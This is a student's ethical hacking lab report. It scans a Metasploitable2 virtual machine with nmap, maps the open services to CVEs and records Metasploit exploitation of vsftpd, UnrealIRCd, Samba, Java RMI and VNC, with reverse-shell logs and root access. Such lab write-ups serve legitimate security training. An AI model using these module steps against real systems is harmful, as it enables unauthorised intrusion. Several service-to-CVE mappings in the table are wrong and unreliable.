ETHICAL HACKING TECHNOLOGIES

**Lab Work 4. Metadata and vulnerabilities**

**Legend**

The information system is used to provide services. The network administrator has been less than diligent and has not updated services for a long time. This has made the services provided in the virtual environment vulnerable.

**1.** Goals

Identify the services running on the network and their versions. Find vulnerabilities in existing services and exploit them (hacking).

**Methodology for carrying out the work**

The work involves scanning the network and discovering service ports and their versions. Vulnerability versioning in the [http://nvd.nist.gov](http://nvd.nist.gov/) vulnerability database. Vulnerability search in the Metasploit database. Vulnerability Exploitation.

TASKS

**Workflow. Scanning**

During the lab, **scan ONLY ONE IP**. In the Service List table (Table 1), fill in the service information (Service, Port, etc.) for the scanned ([Metaploitable Linux](http://sourceforge.net/projects/metasploitable/files/Metasploitable2/)) address. Table 2 lists the vulnerable services. It is necessary to explain why you think the service may be compromised or exploitable.

[TO FILL] Vulnerability [First, Second, .... N] - Demonstrate (provide evidence) how it was exploited. It is recommended to use the Kali Linux Metasploit msfconsole tool.

**Use of Nmap / Nessus.** Vulnerabilities detected in services: Searching CVE and Metasploit databases.

**Your result**

I used the command “nmap -sV -T4 -A -p- 192.168.1.85 -oN ip\_scan.txt” to scan the opened port and services and then store this in ip\_scan.txt file, so that, I don’t repeat this command again and again and don’t waist my time.

A screenshot of a computer

Description automatically generated

**List of services (scanned IP address)**

Table 1

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| **Eil. No.** | **Port**  **(port)** | **Service**  **(service)** | **Version** | **Vulnerability**  **(CVE, EDB-ID, EDB)** | **Notes**  **(e.g., domain name, banner information, other.** |
|  | 21  | ftp-syst:  | STAT:  | FTP server status:  | Connected to 192.168.1.141  | Logged in as ftp  | TYPE: ASCII  | No session bandwidth limit  | Session timeout in seconds is 300  | Control connection is plain text  | Data connections will be plain text  | vsFTPd 2.3.4 - secure, fast, stable  |\_End of status  |\_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp | vsftpd 2.3.4 | **CVE-2011-2523,**  **CVE-2011-0762** | backdoor |
|  | 22  ssh-hostkey:  | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)  |\_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | CVE-2006-4924, **CVE-2023-48795** | Allows remote attackers to cause a denial of service (CPU consumption) via an SSH packet that contains duplicate blocks |
|  | 23 | telnet | Linux telnetd | **CVE-2022-1039, CVE-2022-39028, CVE-2021-39615, CVE-2020-8797, CVE-2020-26201, CVE-2017-9482, CVE-2012-4879, CVE-2007-3232** | Honestly, there are a lot of possible variants, but in my mind, I chose more related to our case with telnet. |
|  | 25  \_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN  |\_ssl-date: 2024-05-19T16:29:03+00:00; +2s from scanner time.  | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX  | Not valid before: 2010-03-17T14:07:45  |\_Not valid after: 2010-04-16T14:07:45  | sslv2:  | SSLv2 supported  | ciphers:  | SSL2\_RC2\_128\_CBC\_WITH\_MD5  | SSL2\_RC4\_128\_EXPORT40\_WITH\_MD5  | SSL2\_RC2\_128\_CBC\_EXPORT40\_WITH\_MD5  | SSL2\_DES\_192\_EDE3\_CBC\_WITH\_MD5  | SSL2\_RC4\_128\_WITH\_MD5  |\_ SSL2\_DES\_64\_CBC\_WITH\_MD5 | smtp | Postfix smtpd | **CVE-2024-27305** **CVE-2023-51764,  CVE-2011-0411, CVE-2007-3791, CVE-2003-0540, CVE-2003-0468, CVE-2001-0894** | This is typically the SMTP daemon process for handling incoming mail and routing to the appropriate internal location. postfix/smtp - This is typically the SMTP daemon process for delivering mail out to the world. |
|  | 53  dns-nsid:  |\_ bind.version: 9.4.2 | domain | ISC BIND 9.4.2 | **CVE-2008-0122,**  **CVE-2008-4163, CVE-2008-1447** | Allows context-dependent attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted input that triggers memory corruption. |
|  | 80  \_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2  |\_http-title: Metasploitable2 - Linux | http | Apache httpd 2.2.8 ((Ubuntu) DAV/2) | **CVE-2013-6438,**  **CVE-2013-1884** | So, among all 12 results, those are the appropriate, as, this matches to our version. Also, I found that in this Apache version 2.2.8 they fixed CVE-2007-5000 problem like Cross-site scripting (XSS) vulnerability and injection arbitrary web script or HTML via unspecified vectors.  Allows remote attackers to cause a denial of service (daemon crash) via a crafted DAV WRITE request. |
|  | 111  | rpcinfo:  | program version port/proto service  | 100000 2 111/tcp rpcbind  | 100000 2 111/udp rpcbind  | 100003 2,3,4 2049/tcp nfs  | 100003 2,3,4 2049/udp nfs  | 100005 1,2,3 33020/tcp mountd  | 100005 1,2,3 51556/udp mountd  | 100021 1,3,4 35344/udp nlockmgr  | 100021 1,3,4 57868/tcp nlockmgr  | 100024 1 38392/tcp status  |\_ 100024 1 58568/udp status | rpcbind | 2 (RPC #100000) | **CVE-1999-0190,**  **CVE-2022-46478, CVE-2017-7645, CVE-2017-15014** | So, I searched exactly version 2 and found the 3 of 636 provided CVE.  Allows attackers to execute arbitrary commands via crafted Hessian serialized data.  Solaris rpcbind can be exploited to overwrite arbitrary files and gain root access. |
|  | 139 | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) | CVE-2015-5252, **CVE-2013-4124** | Allows remote attackers to bypass intended file-access restrictions via a symlink that points outside of a share. As part of the Spotlight protocol, Samba discloses the server-side absolute path of shares, files, and directories in the results for search queries. Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.  Despite, there are only 3 CVE and no more information, in my opinion, port 139 and port 445, I mean those vulnerabilities are almost the same. So, the description of 455 port also relate to 139 port service. |
|  | 445 | netbios-ssn | Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) | **CVE-2007-2447,**  **CVE-2007-2444,**  **CVE-2006-3403, CVE-2007-0452,** | Allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.  Allows remote attackers to cause a denial of service (memory consumption) via a large number of share connection requests. |
|  | 512 | exec? | - | **-** | - |
|  | 513 | login | OpenBSD or Solaris rlogind | **CVE-2001-0797, CVE-1999-0185** | Buffer overflow in login in various System V based operating systems allows remote attackers to execute arbitrary commands via a large number of arguments through services such as telnet and rlogin. In SunOS or Solaris, a remote user could connect from an FTP server's data port to an rlogin server on a host that trusts the FTP server, allowing remote command execution. |
|  | 514 | tcpwrapped | - | **-** | Maybe, It is TCP Wrappers is a host-based networking ACL system, used to filter network access to Internet Protocol servers on operating systems such as Linux or BSD. It allows host or subnetwork IP addresses, names and/or ident query replies, to be used as tokens on which to filter for access control purposes. |
|  | 1099 | java-rmi | GNU Classpath grmiregistry | CVE-2008-5659 | There is only one CVE.  The gnu.java.security.util.PRNG class in GNU Classpath 0.97.2 and earlier uses a predictable seed based on the system time, which makes it easier for context-dependent attackers to conduct brute force attacks against cryptographic routines that use this class for randomness, as demonstrated against DSA private keys. |
|  | 1524 | bindshell | Metasploitable root shell | **CVE-2023-44373, CVE-2023-44304** | Affected devices do not properly sanitize an input field. This could allow an authenticated remote attacker with administrative privileges to inject code or spawn a system root shell. Follow-up of CVE-2022-36323.  A remote attacker with low privileges could potentially exploit this vulnerability to escape the restricted shell and gain root access to the appliance. |
|  | 2049 | nfs | 2-4 (RPC #100003) | **CVE-2017-7645, CVE-2024-26868** | The NFSv2/NFSv3 server in the nfsd subsystem in the Linux kernel through 4.10.11 allows remote attackers to cause a denial of service (system crash) via a long RPC reply, related to net/sunrpc/svc.c, fs/nfsd/nfs3xdr.c, and fs/nfsd/nfsxdr.c. |
|  | 2121 | ftp | ProFTPD 1.3.1 | **CVE-2008-4242, CVE-2009-0543** | ProFTPD 1.3.1 interprets long commands from an FTP client as multiple commands, which allows remote attackers to conduct cross-site request forgery (CSRF) attacks and execute arbitrary FTP commands via a long ftp:// URI that leverages an existing session from the FTP client implementation in a web browser. |
|  | 3306  mysql-info:  | Protocol: 10  | Version: 5.0.51a-3ubuntu5  | Thread ID: 8  | Capabilities flags: 43564  | Some Capabilities: Support41Auth, SwitchToSSLAfterHandshake, SupportsCompression, SupportsTransactions, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag  | Status: Autocommit  |\_ Salt: E=@is$Vdt:a^2~F!q7]P | mysql | MySQL (blocked - too many connection errors) | **CVE-2020-5777, CVE-2018-7251** | This can be done by sending at least 151 simultaneous requests to the Magento website to trigger a "Too many connections" error, then use default magmi:magmi basic authentication to remotely bypass authentication. |
|  | 3632 | distccd | distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) | **CVE-2012-3955, CVE-2012-3571** | ISC DHCP 4.1.x before 4.1-ESV-R7 and 4.2.x before 4.2.4-P2 allows remote attackers to cause a denial of service (daemon crash) in opportunistic circumstances by establishing an IPv6 lease in an environment where the lease expiration time is later reduced.  ISC DHCP 4.1.2 through 4.2.4 and 4.1-ESV before 4.1-ESV-R6 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a malformed client identifier. |
|  | 5432  ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX  | Not valid before: 2010-03-17T14:07:45  |\_Not valid after: 2010-04-16T14:07:45  |\_ssl-date: 2024-05-19T16:29:03+00:00; +2s from scanner time. | postgresql | PostgreSQL DB 8.3.0 - 8.3.7 | **CVE-2019-16387, CVE-2009-0922** | PostgreSQL before 8.3.7, 8.2.13, 8.1.17, 8.0.21, and 7.4.25 allows remote authenticated users to cause a denial of service (stack consumption and crash) by triggering a failure in the conversion of a localized error message to a client-specified encoding, as demonstrated using mismatched encoding conversion requests.  \*\* DISPUTED \*\* PEGA Platform 8.3.0 is vulnerable to a direct prweb/sso/random\_token/!STANDARD?pyActivity=Data-Admin-DB-Name.DBSchema\_ListDatabases request while using a low-privilege account. (This can perform actions and retrieve data that only an administrator should have access to.) NOTE: The vendor states that this vulnerability was discovered using an administrator account and they are normal administrator functions. Therefore, the claim that the CVE was done with a low privilege account is incorrect. |
|  | 5900 | vnc | VNC (protocol 3.3) | **CVE-2019-19196, CVE-2019-19194** | VNC or Virtual Network Computing is a service that uses the Remote Frame Buffer protocol to enable graphical remote access of another system. It is an interactive session since the user can give the mouse and keyboard inputs through VNC to the original system. |
|  | 6000 | X11 | (access denied) | **CVE-2024-21886, CVE-2024-0229** | X11 forwarding, ssh -X , is an SSH protocol that enables users to run graphical applications on a remote server and interact with them using their local display and I/O devices. It is commonly relied upon by developers for securely interacting with remote machines across wide and heterogeneous server fleets. |
|  | 6697  irc-info:  | users: 1  | servers: 1  | lusers: 1  | lservers: 0  | server: irc.Metasploitable.LAN  | version: Unreal3.2.8.1. irc.Metasploitable.LAN  | uptime: 0 days, 0:20:52  | source ident: nmap  | source host: Test-4C12EABE.localdomain  |\_ error: Closing Link: hdvhgxwwi[kali.localdomain] (Quit: hdvhgxwwi) | irc | UnrealIRCd (Admin email admin@Metasploitable.LAN) | **CVE-2010-2075, CVE-2009-4893** | Backdoor that was inserted into the UnrealIRCd source code, allowing remote attackers to execute arbitrary commands with the privileges of the user running the IRC daemon.  Buffer overflow in UnrealIRCd 3.2beta11 through 3.2.8, when allow::options::noident is enabled, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via unspecified vectors.  Contains an externally introduced modification (Trojan Horse) in the DEBUG3\_DOLOG\_SYSTEM macro, which allows remote attackers to execute arbitrary commands. |
|  | 8009  \_ajp-methods: Failed to get a valid response for the OPTION request | ajp13 | Apache Jserv (Protocol v1.3) | **CVE-2008-5519,**  **CVE-2020-1938** | Allows remote attackers to obtain sensitive information via an arbitrary request from an HTTP client, in opportunistic circumstances involving (1) a request from a different client that included a Content-Length header but no POST data or (2) a rapid series of requests, related to noncompliance with the AJP protocol's requirements for requests containing Content-Length headers. |
|  | 8180  \_http-favicon: Apache Tomcat  |\_http-server-header: Apache-Coyote/1.1  |\_http-title: Apache Tomcat/5.5 | http | Apache Tomcat/Coyote JSP engine 1.1 | **CVE-2005-4836, CVE-2011-1318** | The HTTP/1.1 connector in Apache Tomcat 4.1.15 through 4.1.40 does not reject NULL bytes in a URL when allowLinking is configured, which allows remote attackers to read JSP source files and obtain sensitive information. |
|  | 8787 | drb | Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) | **CVE-2013-4073, CVE-2008-1145** | Domain name in the Subject Alternative Name field of an X.509 certificate, which allows man-in-the-middle attackers to spoof arbitrary SSL servers via a crafted certificate issued by a legitimate Certification Authority, a related issue to CVE-2009-2408 |
|  | 33020 | mountd | 1-3 (RPC #100005) | **CVE-1999-0002, CVE-2003-0252** | Buffer overflow in NFS mountd gives root access to remote attackers, mostly in Linux systems.  Off-by-one error in the xlog function of mountd in the Linux NFS utils package (nfs-utils) before 1.0.4 allows remote attackers to cause a denial of service and possibly execute arbitrary code via certain RPC requests to mountd that do not contain newlines. |
|  | 39778 and 49600 | java-rmi | GNU Classpath grmiregistry | CVE-2008-5659 | The gnu.java.security.util.PRNG class in GNU Classpath 0.97.2 and earlier uses a predictable seed based on the system time, which makes it easier for context-dependent attackers to conduct brute force attacks against cryptographic routines that use this class for randomness, as demonstrated against DSA private keys. |
|  | 58033 and 38392 | status | 1 (RPC #100024) | **CVE-1999-0019 CVE-1999-0493, CVE-2000-0666** | "1 (RPC #100024)" is a reference to the CacheFS daemon (cachefsd) service used in Solaris operating systems. This service handles caching remote file systems locally to improve performance |
|  | 57868 | nlockmgr | 1-4 (RPC #100021) | **CVE-2013-6209, CVE-2002-2071, CVE-2000-0508** | Unspecified vulnerability in rpc.lockd in the NFS subsystem in HP HP-UX B.11.11 and B.11.23 allows remote attackers to cause a denial of service via unknown vectors.  rpc.lockd in Red Hat Linux 6.1 and 6.2 allows remote attackers to cause a denial of service via a malformed request. |

**List of vulnerable services**

Students identify the TOP five services most vulnerable to CVE (https://nvd.nist.gov/vuln-metrics/cvss)

Table 2

|  |  |  |  |
| --- | --- | --- | --- |
| **Port** | **Protocol** | **Vulnerable service** | **Vulnerable service details** |
| 21 | ftp | vsftpd 2.3.4 | The vsf\_filename\_passes\_filter function in ls.c in vsftpd before 2.3.3 allows remote authenticated users to cause a denial of service (CPU consumption and process slot exhaustion) via crafted glob expressions in STAT commands in multiple FTP sessions, a different vulnerability than CVE-2010-2632.  vsftpd 2.3.4 downloaded between 20110630 and 20110703 contains a backdoor which opens a shell on port 6200/tcp. |
| 6697 | irc | UnrealIRCd (Admin email admin@Metasploitable.LAN) | Backdoor that was inserted into the UnrealIRCd source code, allowing remote attackers to execute arbitrary commands with the privileges of the user running the IRC daemon.  Buffer overflow in UnrealIRCd 3.2beta11 through 3.2.8, when allow::options::noident is enabled, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via unspecified vectors.  Contains an externally introduced modification (Trojan Horse) in the DEBUG3\_DOLOG\_SYSTEM macro, which allows remote attackers to execute arbitrary commands. |
| 22 | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | Allows remote attackers to cause a denial of service (CPU consumption) via an SSH packet that contains duplicate blocks.  The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. |
| 23 | telnet | Linux telnetd | Linux telnetd poses significant security risks due to multiple known vulnerabilities, including risks of remote code execution, denial of service, authentication bypass, and buffer overflows. It's highly advisable to either disable or replace telnet with more secure alternatives such as SSH. If telnet must be used, ensuring it's properly configured and regularly updated with security patches is essential to mitigate these risks. |
| 139 | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) | Allows remote attackers to bypass intended file-access restrictions via a symlink that points outside of a share. As part of the Spotlight protocol, Samba discloses the server-side absolute path of shares, files, and directories in the results for search queries.  Despite, there are only 3 CVE and no more information, in my opinion, port 139 and port 445, I mean those vulnerabilities are almost the same. So, the description of 455 port also relate to 139 port service |

**Vulnerability [First]**

**Services: vsftpd 2.3.4**

**Your result**

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| Initially, I search the modules, then chose the excellent one and used this module. After, I checked the options and saw the port was the same with my service, in RHOST we have required option, but there is nothing and I wrote the RHOST of our victim. Then, I run the exploit and saw Command shell session 1 opened (10.0.2.15:40547 -> 192.168.1.85:6200) at 2024-05-16 12:33:55 -0400, so I can get the access with root privilege, as, I wrote the command “id” and got uid=0(root) gid=0(root). | [\*] 192.168.1.85:21 - Banner: 220 (vsFTPd 2.3.4)  [\*] 192.168.1.85:21 - USER: 331 Please specify the password.  [+] 192.168.1.85:21 - Backdoor service has been spawned, handling...  [+] 192.168.1.85:21 - UID: uid=0(root) gid=0(root)  [\*] Found shell.  [\*] Command shell session 1 opened (10.0.2.15:40547 -> 192.168.1.85:6200) at 2024-05-16 12:33:55 -0400 |
|  |  |

**Vulnerability [Second]**

**Services: UnrealIRCd (Admin email admin@Metasploitable.LAN)**

**Your result**

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| Initially, I searched this vulnerability like “search irc unreal”, eventually, I got the module “exploit/unix/irc/unreal\_ircd\_3281\_backdoor”. Then, I used this module, checked options and the port was the same with my service, also noticed that I don’t have any payloads there and RHOSTS. Following that, I seted RHOST of our victim, chose the payload after checking all possible payload. I chose the “payload/cmd/unix/reverse” reverse shell. Then, I checked again the options and I had to set the LHOST of my machine, so that, our victim connect to my machine to exchange data between each other and control the victim’s machine, depends on privilege. So, I run the exploit and in results I got: “Command shell session 1 opened (192.168.1.96:4444 -> 192.168.1.85:55728) at 2024-05-16 13:56:27 -0400”.  Privilege root: “uid=0(root) gid=0(root)” | [\*] Started reverse TCP double handler on 192.168.1.96:4444  [\*] 192.168.1.85:6667 - Connected to 192.168.1.85:6667...  :irc.Metasploitable.LAN NOTICE AUTH :\*\*\* Looking up your hostname...  [\*] 192.168.1.85:6667 - Sending backdoor command...  [\*] Accepted the first client connection...  [\*] Accepted the second client connection...  [\*] Command: echo ME48Ld69eG9iYOIG;  [\*] Writing to socket A  [\*] Writing to socket B  [\*] Reading from sockets...  [\*] Reading from socket B  [\*] B: "ME48Ld69eG9iYOIG\r\n"  [\*] Matching...  [\*] A is input...  [\*] Command shell session 1 opened (192.168.1.96:4444 -> 192.168.1.85:55728) at 2024-05-16 13:56:27 -0400 |
|  |  |

**Vulnerability [Third]**

**Services: Samba smbd 3.X - 4.X (workgroup: WORKGROUP)**

**Your result**

A screenshot of a computer

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer

Description automatically generated

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| So, initially, I search the “Samba” and got the 26 modules. I started checking the excellent rank and Descriptions of that and noticed that one description of module coincides with my description of the service based on CVE like: "username map script". Then, I used this module. After, I checked the options and again the port was the same with my service and I set the RHOSTS. I would like to notice that here we have payload with set LHOST, so I needed to just run this shell. Eventually, I got the results:  “Command shell session 2 opened (192.168.1.96:4444 -> 192.168.1.85:42453) at 2024-05-16 14:44:19 -0400”  Privilege: uid=0(root) gid=0(root) | [\*] Started reverse TCP handler on 192.168.1.96:4444  [\*] Command shell session 2 opened (192.168.1.96:4444 -> 192.168.1.85:42453) at 2024-05-16 14:44:19 -0400 |
|  |  |

**Vulnerability [Fourth]**

**Services: GNU Classpath grmiregistry port 1099**

**Your result**

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| Initially, I searched the “java rmi”, like our service. Then, I got the results and I started to read the description. Then, I tried 2 potential modules, but I did not get success. After that, I decided to search it in google and saw the [website](https://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server/). Then, I again searched the modules and noticed that I accidentally, missed one potential module that was in website. So, I used this module, checked the options, set the rhosts and the port was the same with my service. Then, I run the exploit and got the results: “Meterpreter session 1 opened (192.168.1.96:4444 -> 192.168.1.85:42613) at 2024-05-17 11:56:28 -0400”. So, now I can use meterpreter to controle the machine with root privilege “  meterpreter > getuid  Server username: root  ” | [\*] Started reverse TCP handler on 192.168.1.96:4444  [\*] 192.168.1.85:1099 - Using URL: http://192.168.1.96:8080/nRqaxO5R7aM2oVS  [\*] 192.168.1.85:1099 - Server started.  [\*] 192.168.1.85:1099 - Sending RMI Header...  [\*] 192.168.1.85:1099 - Sending RMI Call...  [\*] 192.168.1.85:1099 - Replied to request for payload JAR  [\*] Sending stage (57971 bytes) to 192.168.1.85  [\*] Meterpreter session 1 opened (192.168.1.96:4444 -> 192.168.1.85:42613) at 2024-05-17 11:56:28 -0400 |
|  |  |

**Vulnerability [Fifth]**

**Services:** VNC (protocol 3.3)

**Your result**

A screenshot of a computer

Description automatically generated

A screen shot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

|  |  |
| --- | --- |
| **Action performed** | **Output (services, ports)** |
| Initially, I tried searching the “vnc”. Then, I tried to exploit the each module with excellent rank but nothing happened. Moreover, I tried to search other services but still nothing. After that, I googled the “vnc VNC (protocol 3.3)” and saw the [website](https://medium.com/@jbtechmaven/penetration-testing-series-hacking-metasploitable-2-by-exploiting-vnc-port-5900-188f7cc44b8) where was explained how to hacked that. In this state I surprised, as, we exploit the “auxiliary/scanner/vnc/vnc\_login” module with rank normal, not excellent or even great. Moreover, we use scanner to know the password of our victim. So, I searched this module and used that. Then, I checked options, set the rhosts and username “root”. After, I run the scanner and got the “192.168.1.85:5900 - 192.168.1.85:5900 - Login Successful: :password”. So, our password is “password”. Then, I used the “vncviewer” command to launch a VNC viewer application, allowing us to remotely access and interact with a VNC server’s graphical desktop environment. So, I wrote the command with ip of victim and wrote after password, eventually, I got the access to the machine with root privilege. | [\*] 192.168.1.85:5900 - 192.168.1.85:5900 - Starting VNC login sweep  [!] 192.168.1.85:5900 - No active DB -- Credential data will not be saved!  [+] 192.168.1.85:5900 - 192.168.1.85:5900 - Login Successful: :password  [\*] 192.168.1.85:5900 - Scanned 1 of 1 hosts (100% complete)  $ vncviewer 192.168.1.85  Connected to RFB server, using protocol version 3.3  Performing standard VNC authentication  Password:  Authentication successful  Desktop name "root's X desktop (metasploitable:0)"  VNC server default format:  32 bits per pixel.  Least significant byte first in each pixel.  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0  Using default colormap which is TrueColor. Pixel format:  32 bits per pixel.  Least significant byte first in each pixel.  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 |
|  |  |